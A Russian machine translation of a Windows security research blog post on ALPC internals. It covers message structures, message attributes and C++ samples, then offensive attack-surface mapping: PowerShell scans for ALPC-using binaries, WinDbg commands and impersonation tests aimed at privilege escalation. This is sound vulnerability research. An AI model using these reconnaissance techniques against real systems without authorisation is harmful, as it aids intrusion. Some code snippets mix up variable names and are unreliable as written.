поэтому Microsoft не нужно проектировать его в первую очередь для пользователя
или стороннего разработчика.
В рамках этой единственной функции вы также указываете, какое сообщение вы
хотите отправить (существуют разные типы с разными последствиями, мы вернемся
к этому позже) и какие другие атрибуты вы хотите отправить вместе с вашим
сообщением (опять же, мы перейти к вещам, которые вы можете отправить вместе с
сообщением, позже в главе [Атрибуты сообщения ALPC
](https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html#alpc-
message-attributes)).
Пока это звучит довольно прямолинейно: сервер открывает порт, клиент
подключается к нему, оба получают дескриптор коммуникационного порта и
отправляют сообщения через единую функцию. NtAlpcSendWaitReceivePort… легкий.
Мы будем на высоком уровне, это так просто, но вы наверняка пришли сюда за
подробностями, а в заголовке поста было сказано «внутренности», так что
давайте пристегнемся и посмотрим поближе:
Серверный процесс вызывает NtAlpcCreatePort с выбранным именем порта ALPC, например ' CSALPCPort ', и, необязательно, с SecurityDescriptor , чтобы указать, кто может к нему подключаться.
Ядро создает объект порта ALPC и возвращает дескриптор этого объекта на
сервер, этот порт называется портом подключения ALPC.
Сервер вызывает NtAlpcSendWaitReceivePort , передавая дескриптор своего ранее созданного порта подключения, чтобы дождаться клиентских подключений
Затем клиент может вызвать NtAlpcConnectPort с помощью:
Затем этот запрос на подключение передается на сервер , который вызывает NtAlpcAcceptConnectPort , чтобы принять или отклонить запрос клиента на подключение.
(Да, хотя функция называется NtAlpcAccept… эту функцию также можно
использовать для отклонения клиентских подключений. Последний параметр этой
функции является логическим значением, указывающим, принимаются ли подключения
(если установлено значение true) или отклонено (если установлено значение
false).
Сервер также может:
Клиент и сервер теперь могут отправлять и получать сообщения друг от друга через NtAlpcSendWaitReceivePort , где:
_…подождите… Почему сервер отправляет/принимает данные через порт соединения а не связи , если у него есть выделенный порт связи?… Это была одна из многих вещей, которые озадачили меня в ALPC, и вместо того, чтобы тяжелая работа заднего хода, чтобы понять это самостоятельно, я сжульничал, связался с Алексом Ионеску и просто спросил эксперта. Я поместил ответ в [Приложение А ](https://csandker.io/2022/05/24/Offensive- Windows-IPC-3-ALPC.html#appendix-a-the-use-of-connection-and-communication- ports)в конце этого поста, так как я не хочу слишком далеко уходить от потока сообщений в этот момент… извините за вешалку… _
В любом случае, оглядываясь назад на поток сообщений сверху, мы можем понять, что клиент и сервер используют вызовы различных функций для создания портов ALPC, а затем отправляют и получают сообщения через единую функцию. NtAlpcSendWaitReceivePort. Хотя он содержит достаточный объем информации о потоке сообщений, важно всегда помнить, что сервер и клиент не имеют прямого однорангового соединения, а вместо этого направляют все сообщения через ядро, которое отвечает за размещение сообщений в очереди сообщений, уведомляя каждую сторону о полученных сообщениях и другие вещи, такие как проверка сообщений и атрибутов сообщений. Чтобы представить это в перспективе, я добавил несколько вызовов ядра на эту картинку:
Я должен признать, что на первый взгляд эта диаграмма не очень интуитивна, но
я обещаю, что в процессе все прояснится, потерпите меня.
Чтобы получить более полное представление о том, как ALPC выглядит внутри, нам
нужно немного глубже погрузиться в части реализации сообщений ALPC, которые я
расскажу в следующем разделе.
Итак, прежде всего, давайте проясним структуру сообщения ALPC. Сообщение ALPC всегда состоит из так называемого PORT_HEADER или PORT_MESSAGE , за которым следует фактическое сообщение, которое вы хотите отправить, например текст, двоичное содержимое или что-то еще.
В простом старом C++ мы можем определить сообщение ALPC с помощью следующих двух структур:
C++:Copy to clipboard
typedef struct _ALPC_MESSAGE {
PORT_MESSAGE PortHeader;
BYTE PortMessage[100]; // using a byte array of size 100 to store my actual message
} ALPC_MESSAGE, * PALPC_MESSAGE;
typedef struct _PORT_MESSAGE
{
union {
struct {
USHORT DataLength;
USHORT TotalLength;
} s1;
ULONG Length;
} u1;
union {
struct {
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union {
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union {
SIZE_T ClientViewSize;
ULONG CallbackId;
};
} PORT_MESSAGE, * PPORT_MESSAGE;
Чтобы отправить сообщение, нам нужно сделать следующее:
C++:Copy to clipboard
// specify the message struct and fill it with all 0's to get a clear start
ALPC_MESSAGE pmSend, pmReceived;
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
RtlSecureZeroMemory(&pmReceived, sizeof(pmReceived));
// getting a pointer to my payload (message) byte array
LPVOID lpPortMessage = pmSend->PortMessage;
LPCSTR lpMessage = "Hello World!";
int lMsgLen = strlen(lpMessage);
// copying my message into the message byte array
memmove(lpPortMessage, messageContent, lMsgLen);
// specify the length of the message
pMessage->PortHeader.u1.s1.DataLength = lMsgLen;
// specify the total length of the ALPC message
pMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + lMsgLen;
// Send the ALPC message
NTSTATUS lSuccess = NtAlpcSendWaitReceivePort(
hCommunicationPort, // the client's communication port handle
ALPC_MSGFLG_SYNC_REQUEST, // message flags: synchronous message (send & receive message)
(PPORT_MESSAGE)&pmSend, // our ALPC message
NULL, // sending message attributes: we don't need that in the first step
(PPORT_MESSAGE)&pmReceived, // ALPC message buffer to receive a message
&ulReceivedSize, // SIZE_T ulReceivedSize; Size of the received message
NULL, // receiving message attributes: we don't need that in the first step
0 // timeout parameter, we don't want to timeout
);
Этот фрагмент кода отправит сообщение ALPC с текстом «Hello World!» на сервер,
к которому мы подключились. Мы указали, что сообщение должно быть синхронным
сообщением с ALPC_MSGFLG_SYNC_REQUESTфлаг, который означает, что этот вызов
будет ожидать (блокироваться), пока сообщение не будет получено на
коммуникационном порту клиента.
Конечно, нам не нужно ждать, пока придет новое сообщение, а использовать
оставшееся до этого время для других задач (помните, что ALPC создавался как
асинхронный, быстрый и эффективный). Для облегчения этого ALPC предоставляет
три различных типа сообщений:
Таким образом, в основном вы можете отправить сообщение, которое ожидает
ответа, или сообщение, которое не ожидает ответа, и когда вы выбрали первое,
вы можете, кроме того, подождать, пока не придет ответ, или не ждать и сделать
что-то еще с вашим ценным процессорным временем в тем временем. Это оставляет
вас с вопросом о том, как получить ответ в случае, если вы выбрали этот
последний вариант, а не ждать (асинхронный запрос) в течение
NtAlpcSendWaitReceivePortвызов функции?
Еще раз у вас есть 3 варианта:
Вы можете использовать список завершения ALPC, и в этом случае ядро не информирует вас (как получателя) о получении новых данных, а вместо этого просто копирует данные в память вашего процесса. Вы (как получатель) должны знать о наличии этих новых данных. Например, это может быть достигнуто с помощью события уведомления, которое совместно используется вами и сервером ALPC¹. Как только сервер сигнализирует о событии, вы знаете, что поступили новые данные.
¹Взято из [Windows Internals, Part 2, 7th Edition
](https://www.microsoftpressstore.com/store/windows-internals-
part-2-9780135462409).
Вы можете использовать порт завершения ввода-вывода, который является задокументированным средством синхронизации.
Вы можете получить обратный вызов ядра, чтобы получить ответы, но это разрешено только в том случае, если ваш процесс находится в земле ядра.
Поскольку у вас есть возможность не получать сообщения напрямую, вполне вероятно, что придет более одного сообщения и будет ожидать получения. Для обработки нескольких сообщений в разных состояниях ALPC использует очереди для обработки и управления большими объемами сообщений, накапливающихся на сервере. Существует пять разных очередей для сообщений, и чтобы различать их, я процитирую главу 8 « [Внутреннее устройство Windows, часть 2, 7-е издание» ](https://www.microsoftpressstore.com/store/windows-internals- part-2-9780135462409)(поскольку нет лучшего способа выразить это несколькими словами):
- Основная очередь : сообщение было отправлено, и клиент его обрабатывает.
- Ожидающая очередь : сообщение было отправлено, и вызывающий абонент ожидает ответа, но ответ еще не отправлен.
- Большая очередь сообщений : сообщение было отправлено, но буфер вызывающей стороны был слишком мал для его получения. Вызывающий получает еще один шанс выделить больший буфер и снова запросить полезную нагрузку сообщения.
- Отмененная очередь : сообщение, которое было отправлено на порт, но с тех пор было отменено.
- Прямая очередь : сообщение, которое было отправлено с прикрепленным прямым событием.
Click to expand...
На данный момент я не собираюсь углубляться в параметры синхронизации сообщений и различные очереди — мне нужно где-то сделать вырез — однако, если кто-то заинтересован в поиске ошибок в этих областях кода, я настоятельно рекомендую посмотреть в главу 8 удивительного [внутреннего устройства Windows, часть 2, 7-е издание ](https://www.microsoftpressstore.com/store/windows- internals-part-2-9780135462409). Я многому научился из этой книги и не могу не похвалить ее!
Наконец, что касается деталей обмена сообщениями в ALPC, есть последний
момент, который еще не был подробно описан, а именно вопрос о том , как
сообщение передается от клиента к серверу. Было упомянуто, какие сообщения
можно отправлять, как выглядит структура сообщения, какой существует механизм
синхронизации и остановки сообщений, но до сих пор не было подробно описано,
как сообщение передается от одного процесса к другому.
У вас есть два варианта для этого:
Основной причиной использования «механизма объекта раздела» является
отправка больших сообщений, поскольку длина сообщений, отправляемых через
«механизм двойного буфера» , имеет жестко запрограммированное ограничение
размера в 65535 байт. При превышении этого предела в буфере сообщений выдается
ошибка. Функция AlpcMaxAllowedMessageLength()можно использовать для получения
максимального размера буфера сообщений, который может измениться в будущих
версиях Windows.
Этот «механизм двойного буфера» использовался во фрагменте кода выше.
Оглядываясь назад, буфер сообщения для отправленного и полученного сообщения
был неявно выделен с помощью первых трех строк кода:
C++:Copy to clipboard
ALPC_MESSAGE pmSend, pmReceived; // these are the message buffers
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
RtlSecureZeroMemory(&pmReceived, sizeof(pmReceived));
Затем этот буфер сообщений был передан ядру при вызове
NtAlpcSendWaitReceivePort, который копирует буфер отправки в буфер приема на
другой стороне.
Мы также могли бы покопаться в ядре, чтобы выяснить, как на самом деле
выглядит сообщение ALPC (отправляемое через буферы сообщений). Реверс
NtAlpcSendWaitReceivePortприводит нас к функции ядра AlpcpReceiveMessage,
который в конечном итоге вызывает — для нашего пути кода — в
AlpcpReadMessageData, где происходит копирование буфера.
Примечание: если вас интересуют все детали реверсирования, которые я здесь не
упомянул, ознакомьтесь с моим последующим постом:Отладка и реверсирование
ALPC.
В конце этого пути вы найдете простой [RtlCopyMemory
](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-
rtlcopymemory), который является просто макросом для [memcpy
](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-
wmemcpy?view=msvc-170), который копирует кучу байтов из одного пространства
памяти в другое — это не так красиво, как можно было бы ожидать, но это то,
что это ¯\ (ツ) /¯.
Чтобы увидеть это в действии, я поставил точку останова в AlpcpReadMessageData показанная выше функция для моего серверного процесса ALPC. Точка останова срабатывает, когда мой клиент ALPC подключается и отправляет начальное сообщение на сервер. Сообщение, которое отправляет клиент, это: Hello Server. Аннотированный вывод отладки показан ниже:
Эти экраны отладки показывают, как выглядит сообщение ALPC, отправленное через
буфер сообщений… просто байты в памяти процесса.
Также обратите внимание, что приведенные выше экраны являются визуальным
представлением «механизма двойного буфера» на втором этапе копирования буфера,
когда сообщение копируется из пространства памяти ядра в пространство памяти
процесса получателя. Действие копирования из отправителя в пространство ядра
не отслеживалось, поскольку точка останова была установлена только для
процесса-получателя.
Хорошо, есть еще одна последняя деталь, которую необходимо детализировать,
прежде чем собрать все вместе, а именно атрибуты сообщения ALPC. Я уже
несколько раз упоминал атрибуты сообщения, так что вот что это значит.
При отправке и получении сообщений через NtAlpcSendWaitReceivePort, клиент и
сервер могут указать набор атрибутов, которые они хотели бы отправлять и/или
получать. Этот набор атрибутов, которые нужно отправить, и набор атрибутов,
которые нужно получить, передаются в NtAlpcSendWaitReceivePortв двух
дополнительных параметрах, показанных ниже:
Идея здесь заключается в том, что как отправитель вы можете передать
дополнительную информацию получателю, а получатель на другом конце может
указать, какой набор атрибутов он хотел бы получить, а это означает, что не
обязательно вся дополнительная информация, которая была отправлена, также
доступна получателю. получатель.
Следующие атрибуты сообщения могут быть отправлены и/или получены:
C++:Copy to clipboard
typedef struct _ALPC_SECURITY_ATTR {
ULONG Flags;
PSECURITY_QUALITY_OF_SERVICE pQOS;
HANDLE ContextHandle;
} ALPC_SECURITY_ATTR, * PALPC_SECURITY_ATTR;
C++:Copy to clipboard
typedef struct _ALPC_DATA_VIEW_ATTR {
ULONG Flags;
HANDLE SectionHandle;
PVOID ViewBase;
SIZE_T ViewSize;
} ALPC_DATA_VIEW_ATTR, * PALPC_DATA_VIEW_ATTR;
C++:Copy to clipboard
typedef struct _ALPC_CONTEXT_ATTR {
PVOID PortContext;
PVOID MessageContext;
ULONG Sequence;
ULONG MessageId;
ULONG CallbackId;
} ALPC_CONTEXT_ATTR, * PALPC_CONTEXT_ATTR;
Code:Copy to clipboard
typedef struct _ALPC_MESSAGE_HANDLE_INFORMATION {
ULONG Index;
ULONG Flags;
ULONG Handle;
ULONG ObjectType;
ACCESS_MASK GrantedAccess;
} ALPC_MESSAGE_HANDLE_INFORMATION, * PALPC_MESSAGE_HANDLE_INFORMATION;
Code:Copy to clipboard
typedef struct _ALPC_TOKEN_ATTR
{
ULONGLONG TokenId;
ULONGLONG AuthenticationId;
ULONGLONG ModifiedId;
} ALPC_TOKEN_ATTR, * PALPC_TOKEN_ATTR;
C++:Copy to clipboard
typedef struct _ALPC_DIRECT_ATTR
{
HANDLE Event;
} ALPC_DIRECT_ATTR, * PALPC_DIRECT_ATTR;
C++:Copy to clipboard
typedef struct _ALPC_WORK_ON_BEHALF_ATTR
{
ULONGLONG Ticket;
} ALPC_WORK_ON_BEHALF_ATTR, * PALPC_WORK_ON_BEHALF_ATTR;
Атрибуты сообщения, как они инициализируются и отправляются, были еще одной
вещью, которая озадачила меня при кодировании примера сервера и клиента ALPC.
Так что вы не столкнетесь с теми же проблемами, которые были у меня здесь, это
секрет, который я узнал об атрибутах сообщения ALPC:
Для начала необходимо знать, что структура атрибутов сообщения ALPC следующая:
C++:Copy to clipboard
typedef struct _ALPC_MESSAGE_ATTRIBUTES
{
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
Глядя на это, я сначала подумал, что вы вызываете функцию
[AlpcInitializeMessageAttribute,
](https://github.com/csandker/InterProcessCommunication-
Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-
Util/ALPC.h#L292-L298)даете ей ссылку на приведенную выше структуру и флаг для
атрибута сообщения, которое вы хотите отправить (на все атрибуты ссылается
значение флага, [вот список из моего кода
](https://github.com/csandker/InterProcessCommunication-
Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-
Util/ALPC.h#L12-L23)) и ядро затем устанавливает все это для вас. Затем вы
помещаете указанную структуру в [NtAlpcSendWaitReceivePort
](https://github.com/csandker/InterProcessCommunication-
Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-
Util/ALPC.h#L322-L332), повторяете процесс для каждого сообщения, которое
хотите отправить, и все готово.
Это не так и кажется неправильным на нескольких уровнях. Только после
того, как я нашел этот пост в твиттере
от
2020 года и Алекса на SyScan'14
(я пересматривал его не менее 20
раз во время своего исследования), я пришел к тому, что я сейчас считаю
правильным путем. Позвольте мне сначала выявить ошибки в моих первоначальных
убеждениях, прежде чем объединять правильный курс действий:
AlpcInitializeMessageAttribute ни хрена вам не делает, на самом деле он только очищает ValidAttributesфлаг и устанавливает AllocatedAttributesфлаг в соответствии с указанными вами атрибутами сообщения (так что никакая магия ядра не заполняет данные вообще).
Должен признаться, я заметил это на раннем этапе обратного проектирования
функции, но какое-то время я все еще надеялся, что она сделает что-то еще,
поскольку название функции было таким многообещающим.
Чтобы правильно настроить атрибут сообщения, вы должны выделить соответствующую структуру сообщения и поместить ее в буфер после ALPC_MESSAGE_ATTRIBUTES. Таким образом, это похоже на ALPC_MESSAGE где фактическое сообщение необходимо поместить в буфер после PORT_MESSAGE.
Не ядро устанавливает ValidAttributes для вашей ALPC_MESSAGE_ATTRIBUTES , вы должны установить его самостоятельно. Я понял это, поигравшись со структурой, и какое-то время думал, что это просто странный обходной путь, потому что зачем мне устанавливать ValidAttributesполе? Насколько я понимаю, мои атрибуты всегда действительны, и не должна ли задача ядра проверять их действительность.
Я провел еще один раунд выступления Алекса на SyScan'14,
чтобы понять, что...
Вы не устанавливаете атрибуты сообщения для каждого вызова NtAlpcSendWaitReceivePort , вы устанавливаете все атрибуты сообщения один раз и используете ValidAttributes перед вызовом NtAlpcSendWaitReceivePort , чтобы указать, какие из всех ваших настроенных атрибутов действительны для этого самого сообщения, которое вы отправляете сейчас.
Чтобы объединить это в полезные знания, вот как работают атрибуты отправки сообщения(в моем текущем понимании):
C++:Copy to clipboard
pMsgAttrReceived = alloc_message_attribute(ALPC_MESSAGE_ATTRIBUTE_ALL);
PALPC_MESSAGE_ATTRIBUTES alloc_message_attribute(ULONG ulAttributeFlags) {
NTSTATUS lSuccess;
PALPC_MESSAGE_ATTRIBUTES pAttributeBuffer;
LPVOID lpBuffer;
SIZE_T lpReqBufSize;
SIZE_T ulAllocBufSize;
ulAllocBufSize = AlpcGetHeaderSize(ulAttributeFlags); // required size for specified attribues
lpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulAllocBufSize);
if (GetLastError() != 0) {
wprintf(L"[-] Failed to allocate memory for ALPC Message attributes.\n");
return NULL;
}
pAttributeBuffer = (PALPC_MESSAGE_ATTRIBUTES)lpBuffer;
// using this function to properly set the 'AllocatedAttributes' attribute
lSuccess = AlpcInitializeMessageAttribute(
ulAttributeFlags, // attributes
pAttributeBuffer, // pointer to attributes structure
ulAllocBufSize, // buffer size
&lpReqBufSize
);
if (!NT_SUCCESS(lSuccess)) {
return NULL;
}
else {
//wprintf(L"Success.\n");
return pAttributeBuffer;
}
}
C++:Copy to clipboard
// Allocate buffer and initialize the specified attributes
pMsgAttrSend = setup_sample_message_attributes(hConnectionPort, hServerSection, ALPC_MESSAGE_SECURITY_ATTRIBUTE | ALPC_MESSAGE_VIEW_ATTRIBUTE | ALPC_MESSAGE_HANDLE_ATTRIBUTE);
// ...
// Before sending a message mark certain attributes as valid, in this case ALPC_MESSAGE_SECURITY_ATTRIBUTE
pMsgAttrSend->ValidAttributes |= ALPC_MESSAGE_SECURITY_ATTRIBUTE
lSuccess = NtAlpcSendWaitReceivePort(hConnectionPort, ...)
//...
Надеюсь, все вышеперечисленное также станет немного яснее, если вы просмотрите
[мой код ](https://github.com/csandker/InterProcessCommunication-
Samples/tree/master/ALPC/CPP-ALPC-Basic-Client-Server)и сопоставите эти
операторы с тем, где и как я использовал атрибуты сообщения.
До сих пор мы представили различные компоненты ALPC, чтобы описать, как
работает система обмена сообщениями ALPC и как выглядит сообщение ALPC.
Позвольте мне завершить эту главу, рассмотрев некоторые из этих компонентов в
перспективе. Приведенное выше описание и структура сообщения ALPC описывает,
как сообщение ALPC выглядит для отправителя и получателя, но следует помнить,
что ядро добавляет к этому сообщению гораздо больше информации — фактически
оно берет предоставленные части и помещает их в гораздо большая структура
сообщений ядра - как вы можете видеть ниже:
Таким образом, сообщение здесь таково: мы достигли хорошего понимания, но под капотом есть гораздо больше , чего мы не коснулись.
Я написал образец клиентского и серверного приложения ALPC в качестве игровой площадки для понимания различных компонентов ALPC. Не стесняйтесь просматривать и изменять код, чтобы получить собственное представление об ALPC. Несколько справедливых предупреждений об этом коде:
Хотя файлов не так много, позвольте мне указать на несколько примечательных строк кода:
И, наконец, вот как это выглядит:
Прежде чем углубляться в поверхность атаки каналов связи ALPC, я хотел бы
указать на интересную концептуальную слабость связи ALPC, на которой основаны
приведенные ниже пути атаки, и о которых следует помнить, чтобы найти
дальнейший потенциал для использования.
Оглядываясь назад на [Поток сообщений ALPC»
](https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html#alpc-
message-flow), мы можем вспомнить, что для обеспечения связи ALPC сервер
должен открыть порт ALPC (соединение), дождаться входящих сообщений, а затем
принять или отклонить эти сообщения. Хотя порт ALPC является защищаемым
объектом ядра и может быть создан с помощью [дескриптора безопасности
](https://docs.microsoft.com/en-us/windows/win32/secauthz/security-
descriptors), который определяет, кто может получить к нему доступ и
подключиться к нему, в большинстве случаев процесс создания сервера ALPC не
может (или не хочет) ограничивать доступ на основе вызываемого абонента [SID
](https://docs.microsoft.com/en-us/windows/win32/secauthz/security-
identifiers). Если вы не можете (или хотите) ограничить доступ к вашему порту
ALPC с помощью [SID ](https://docs.microsoft.com/en-
us/windows/win32/secauthz/security-identifiers), единственный вариант, который
у вас есть, — это разрешить всем подключаться к вашему порту и
принимать/отклонять решение после того, как клиент подключится и отправит вам
сообщение. Это, в свою очередь, означает, что многие встроенные серверы ALPC
позволяют всем подключаться и отправлять сообщения на сервер. Даже если
сервер сразу отклоняет клиента, отправки начального сообщения и некоторых
атрибутов сообщения вместе с этим сообщением может быть достаточно для
использования уязвимости.
Благодаря этой коммуникационной архитектуре и повсеместному распространению
ALPC использование ALPC также является интересным способом избежать песочницы.
Первым шагом в отображении поверхности атаки является определение целей,
которыми в нашем случае являются клиентские или серверные процессы ALPC.
Обычно мне приходят в голову три способа идентифицировать такие процессы:
Все эти способы могут быть интересны, поэтому давайте рассмотрим их…
Найти объекты порта ALPC
Мы уже видели самый простой способ идентификации объектов порта ALPC в начале этого сообщения, который заключается в запуске WinObj и обнаружении объектов ALPC по столбцу «Тип». WinObj не может дать нам более подробной информации, поэтому мы обращаемся к [WinDbg ](https://docs.microsoft.com/en- us/windows-hardware/drivers/debugger/debugger-download-tools), чтобы проверить этот объект порта ALPC:
В приведенных выше командах мы использовали команду Windbg [!object
](https://docs.microsoft.com/en-us/windows-
hardware/drivers/debugger/-object)для запроса к диспетчеру именованного
объекта по указанному пути. Это неявно уже говорило нам, что этот порт ALPC
должен быть портом соединения ALPC , потому что порты связи не названы. В
свою очередь мы можем сделать вывод, что мы можем использовать WinObj
только для
поиска портов подключения ALPC и через эти только серверные процессы
ALPC.
Говоря о серверных процессах: как показано выше, можно использовать [WinDbg.
](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-
download-tools)недокументированные !alpcКоманда для отображения информации о
порте ALPC, который мы только что идентифицировали. Вывод включает в себя,
наряду с большим количеством другой полезной информации, серверный процесс,
владеющий портом, которым в данном случае является svchost.exe.
Теперь, когда мы знаем адрес объекта порта ALPC, мы можем использовать
!alpcеще раз, чтобы отобразить активные соединения для этого порта соединения
ALPC:
_Примечание: команда !alpc Windbg не задокументирована, но устаревшая команда !lpc, которая существовала во времена LPC, задокументирована здесь и имеет отметку времени от декабря 2021 года. На этой странице документации упоминается, что команда !lpc устарела и что Вместо этого следует использовать команду !alpc, но синтаксис и параметры команды !alpc совершенно другие. Но, честно говоря, синтаксис команды !alpc отображается в WinDbg, если вы введете любую недопустимую команду !alpc: _
![WinDbg_alpc_command_syntax](/proxy.php?image=https%3A%2F%2Fcsandker.io%2Fpublic%2Fimg%2F2022-05-24-Offensive- Windows- IPC-3-ALPC%2FWinDbg_alpc_command_syntax.png&hash=35540c02b769ae89c344e71ffcdda060)
Благодаря Джеймсу Форшоу и его [NtObjectManager в .NET ](https://github.com/googleprojectzero/sandbox- attacksurface-analysis- tools/tree/25b183136e9a44ed148a0616875d83d785ef46de/NtObjectManager)мы также можем легко запросить NtObjectManager в PowerShell для поиска объектов порта ALPC, и, что еще лучше, Джеймс уже предоставил для этого функцию-оболочку через [Get-AccessibleAlpcPort ](https://github.com/googleprojectzero/sandbox-attacksurface-analysis- tools/blob/25b183136e9a44ed148a0616875d83d785ef46de/NtObjectManager/RpcFunctions.ps1#L49).
Найти ALPC, используемый в процессах
Как всегда, существуют различные способы узнать об использовании портов ALPC в процессах, вот некоторые из них, которые пришли на ум:
После [установки dumpbin.exe ](https://docs.microsoft.com/en- us/cpp/build/reference/dumpbin-reference?view=msvc-170), который, например, поставляется с пакетом разработки Visual Studio C++, можно использовать следующие два однострочника PowerShell для поиска .exe и .dll , которые создают или подключаются к порту ALPC:
Rich (BB code):Copy to clipboard
## Get ALPC Server processes (those that create an ALPC port)
Get-ChildItem -Path "C:\Windows\System32\" -Include ('*.exe', '*.dll') -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:ntdll.dll $_.VersionInfo.FileName); If($out -like "*NtAlpcCreatePort*"){ Write-Host "[+] Executable creating ALPC Port: $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath NtAlpcCreatePort.txt -Append } }
## Get ALPC client processes (those that connect to an ALPC port)
Get-ChildItem -Path "C:\Windows\System32\" -Include ('*.exe', '*.dll') -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:ntdll.dll $_.VersionInfo.FileName); If($out -like "*NtAlpcConnectPor*"){ Write-Host "[+] Executable connecting to ALPC Port: $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath NtAlpcConnectPort.txt -Append } }
Я не кодировал 2-й вариант (разбор IAT) — если вы знаете инструмент, который это делает, дайте мне знать , но есть простой, но очень медленный способ решить вариант № 3 (найти дескрипторы ALPC в процессах), используя следующее Команда WinDbg: !handle 0 2 0 ALPC Port
Имейте в виду, что это очень медленно и, вероятно, займет несколько часов (я
остановился через 10 минут и получил только около 18 дескрипторов).
Но еще раз спасибо Джеймсу Форшоу и его
[NtApiDotNet ](https://github.com/googleprojectzero/sandbox-attacksurface-
analysis-tools/tree/main/NtApiDotNet), есть более простой способ написать это
самостоятельно и ускорить этот процесс, плюс мы также можем получить
интересную статистику ALPC…
_Вы можете найти этот инструмент[здесь
](https://github.com/csandker/InterProcessCommunication-
Samples/tree/master/ALPC/CS-AlpcProcessHandles)
_
Обратите внимание, что эта программа не запускается в пространстве ядра,
поэтому я ожидаю лучших результатов с помощью команды WinDbg, но она выполняет
свою работу по отображению некоторых портов ALPC, используемых различными
процессами. Перебирая все процессы, к которым у нас есть доступ, мы также
можем рассчитать некоторые базовые статистические данные об использовании
ALPC, как показано выше. Эти цифры не являются точными на 100%, но учитывая,
что в среднем около 14 дескрипторов коммуникационных портов ALPC используются
для каждого процесса, мы можем определенно заключить, что ALPC довольно часто
используется в Windows.
Как только вы определите процесс, который звучит как интересная цель, WinDbg
можно использовать снова, чтобы копнуть глубже…
Используйте трассировку событий для Windows
Хотя ALPC не [некоторые события ALPC ](https://docs.microsoft.com/en- us/windows/win32/etw/alpc)отображаются как события Windows, которые можно зафиксировать с помощью отслеживания событий для Windows (ETW). Одним из инструментов, помогающих с ALPC-событиями, является ProcMonXv2 от zodiacon .
Имперсонация и неимперсонация
Для коммуникации ALPC процедуры имперсонализации привязаны к сообщениям, что
означает, что и клиент, и сервер (а также каждая из общающихся сторон) могут
выдавать себя за пользователя на другой стороне. Однако, для того, чтобы
разрешить выдавать себя за другого, партнер по коммуникации должен разрешить
выдавать себя за другого, а партнер по коммуникации, выдающий себя за другого,
должен обладать привилегией SeImpersonate (это все еще защищенный канал связи,
верно?)...
Глядя на код, кажется, что есть два варианта выполнения первого условия,
которое заключается в разрешении быть выданным за другого:
Первый вариант: Через PortAttributes, например, так:
C++:Copy to clipboard
// QOS
SecurityQos.ImpersonationLevel = SecurityImpersonation;
SecurityQos.ContextTrackingMode = SECURITY_STATIC_TRACKING;
SecurityQos.EffectiveOnly = 0;
SecurityQos.Length = sizeof(SecurityQos);
// ALPC Port Attributs
PortAttributes.SecurityQos = SecurityQos;
PortAttributes.Flags = ALPC_PORTFLG_ALLOWIMPERSONATION;
C++:Copy to clipboard
pMsgAttrSend = setup_sample_message_attributes(hSrvCommPort, NULL, ALPC_MESSAGE_SECURITY_ATTRIBUTE); // setup security attribute
pMsgAttrSend->ValidAttributes |= ALPC_MESSAGE_SECURITY_ATTRIBUTE; // specify it to be valid for the next message
NtAlpcSendWaitReceivePort(...) // send the message
Если вы не очень хорошо знакомы с кодом VC++/ALPC, эти фрагменты могут ничего
вам не сказать, что совершенно нормально. Дело в том, что теоретически есть
два варианта указать, что вы разрешаете олицетворение.
Однако есть загвоздка:
Я рассмотрел оба маршрута: сервер, выдающий себя за клиента, и клиент,
выдающий себя за сервер.
Мой первый путь заключался в поиске клиентов, пытающихся подключиться к
несуществующему порту сервера, чтобы проверить условия имперсонализации. Я
пробовал разные методы, но пока не нашел хорошего способа идентифицировать
таких клиентов. Мне удалось использовать точки останова в ядре, чтобы вручную
определить некоторые случаи, но пока не удалось найти ничего интересного, что
позволило бы олицетворять клиента. Ниже приведен пример
«ApplicationFrameHost.exe», пытающийся подключиться к несуществующему порту
ALPC, который я мог перехватить с помощью своего демонстрационного сервера,
однако процесс не допускает имперсонализации (и приложение работает как мой
текущий пользователь) …
Не слишком удачная попытка персонализации, но, по крайней мере, она подтверждает идею.
Переходим к другому пути: Я нашел кучу портов подключения ALPC, используя Get- AccessibleAlpcPort, как было показано ранее, и дал команду своему ALPC клиенту подключиться к ним, чтобы проверить, позволяют ли они мне а) подключиться, б) отправить мне какое-либо фактическое сообщение обратно и в) отправить атрибуты сообщения имперсонализации вместе с сообщением. Для всех проверенных мной портов подключения ALPC в лучшем случае я получал короткое инициализационное сообщение с атрибутом ALPC_MESSAGE_CONTEXT_ATTRIBUTE, что не полезно для имперсонизации, но, по крайней мере, еще раз демонстрирует идею:
Неимперсонация сервера
В части цикла, посвященной RPC, я упоминал, что может быть интересно подключиться к серверу, который использует имперсонацию для изменения контекста безопасности своего потока на контекст безопасности вызывающего клиента, но не проверяет, удалась или не удалась имперсонация. В таком случае сервер может быть обманут и заставить выполнять задачи со своим собственным - потенциально повышенным - контекстом безопасности. Как подробно описано в статье о RPC, поиск таких случаев сводится к индивидуальному анализу конкретного процесса сервера ALPC, который вы рассматриваете. Для этого вам потребуется следующее:
Серверный процесс, открывающий порт ALPC, к которому может подключиться ваш
клиент.
